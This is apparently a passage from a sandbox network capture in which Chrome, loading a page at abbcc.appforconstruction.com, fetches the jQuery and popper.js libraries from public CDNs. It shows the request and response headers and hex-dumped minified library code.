2024-11-20 14:43:13 UTC	1369	IN	Data Raw: 38 51 6f 40 77 24 4c 7c 58 2b 48 62 42 39 7e 3c 4e 7e 74 4b 76 28 42 3c 28 3f 5b 2b 78 2e 4d 68 3a 46 52 74 7b 72 7d 54 44 47 44 56 7b 25 2f 4e 7b 33 4a 5b 41 74 5d 4f 55 42 3c 69 6d 7d 29 4b 57 56 7a 22 31 24 4c 7c 48 4d 2e 41 7e 2a 64 4b 44 3e 53 4b 4b 38 51 5a 5f 6f 57 62 3e 76 62 35 76 46 6c 2a 3d 6f 26 43 5f 2e 44 50 51 25 43 41 3c 2e 6c 2e 66 25 72 6f 44 56 45 43 2b 3e 63 7e 50 3e 4d 2a 2e 6f 63 42 3b 2b 2e 75 6b 7b 2a 75 2e 23 46 76 73 4c 2b 5a 2e 6a 4d 25 60 29 21 54 2f 3f 30 66 47 57 35 54 34 54 49 50 40 25 3f 70 78 3e 7b 55 6c 6e 5a 6c 6d 58 54 32 4e 6f 4b 7e 5d 51 73 2e 7e 3e 66 5a 28 69 68 41 7e 2a 57 32 6b 3e 6d 71 62 2b 35 47 61 6a 44 56 46 5b 6e 2f 5f 7e 40 29 5a 3d 34 54 2b 69 35 60 48 37 40 47 63 2e 43 67 6c 6e 69 6c 6d 58 44 40 79 61 4b Data Ascii: 8Qo@w$L\|X+HbB9~<N~tKv(B<(?[+x.Mh:FRt{r}TDGDV{%/N{3J[At]OUB<im})KWVz"1$L\|HM.A~dKD>SKK8QZ_oWb>vb5vFl=o&C_.DPQ%CA<.l.f%roDVEC+>c~P>M.ocB;+.uk{u.#FvsL+Z.jM%`)!T/?0fGW5T4TIP@%?px>{UlnZlmXT2NoK~]Qs.~>fZ(ihA~*W2k>mqb+5GajDVF[n/_~@)Z=4T+i5`H7@Gc.CglnilmXD@yaK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49758	151.101.194.137	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:15 UTC	682	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://abbcc.appforconstruction.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://abbcc.appforconstruction.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:15 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2441741 Date: Wed, 20 Nov 2024 14:43:15 GMT X-Served-By: cache-lga21984-LGA, cache-nyc-kteb1890097-NYC X-Cache: HIT, HIT X-Cache-Hits: 903, 0 X-Timer: S1732113796.534015,VS0,VE1 Vary: Accept-Encoding
2024-11-20 14:43:15 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-11-20 14:43:15 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-11-20 14:43:15 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2024-11-20 14:43:15 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2024-11-20 14:43:15 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2024-11-20 14:43:15 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-11-20 14:43:15 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-11-20 14:43:15 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-11-20 14:43:15 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-11-20 14:43:15 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49759	104.17.24.14	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:15 UTC	707	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://abbcc.appforconstruction.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://abbcc.appforconstruction.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:15 UTC	963	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:43:15 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1095503 Expires: Mon, 10 Nov 2025 14:43:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dkOB3ECPCCLDzFpQYeNv7ePzHgcAXfaA4nCzqq49gyLyPd%2BDPsXHnj254wEDEwVooAR%2B2idbIb9GYB%2BR4tap1jbtB%2Bsbs2uZZpKT50WkvLPnmWPbdxZ1guch9xWmpcgngLc%2FqHRJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8e593616180a4291-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:43:15 UTC	406	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d Data Ascii: 1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#docum
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 Data Ascii: ,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['b
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 Data Ascii: {top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}re
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 Data Ascii: height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 